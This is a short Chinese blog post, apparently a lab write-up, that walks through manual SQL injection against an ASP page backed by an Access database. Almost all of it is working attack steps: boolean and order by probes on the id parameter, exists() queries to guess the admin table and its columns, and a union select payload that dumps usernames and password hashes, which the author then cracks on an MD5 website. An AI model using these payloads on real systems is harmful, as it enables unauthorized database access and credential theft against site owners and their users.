SQL手工注入漏洞測試(Access數(shù)據(jù)庫)

Access數(shù)據(jù)庫的SQL手工注入,用聯(lián)合語句顯示可顯字段時,必須要“from 表名”。

1、判斷注入點(diǎn)。

/new_list.asp?id=1 and 1=1訪問成功;/new_list.asp?id=2 and 1=2訪問失敗。

2、判斷列的情況。

order by x,x=1、2、3、4時成功,5、6時失敗。

/new_list.asp?id=2 order by 4;

3、測試關(guān)鍵表名,因?yàn)锳ccess用聯(lián)合語句顯示可顯字段時,必須要“from 表名”,所以需要先猜表名。通常access數(shù)據(jù)庫都有admin表;

and exists(select count(*) from admin),頁面返回正常,說明存在admin表。

4、 查找回顯字段。
image.png
5、枚舉字段:正常則頁面不報錯;通常access表會存在以下三個字段;

id,username,passwd或者password

id=1 and exists(select id from admin) //頁面返回正常,說明存在id列 id=1 and exists(select username from admin) //頁面返回正常,說明存在username列 id=1 and exists(select passwd from admin) //頁面返回正常,說明存在passwd列

6、查詢用戶和密碼。

/new_list.asp?id= 1%20 union select 1,username,passwd,4 from admin

7、MD5網(wǎng)站解碼成功。
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容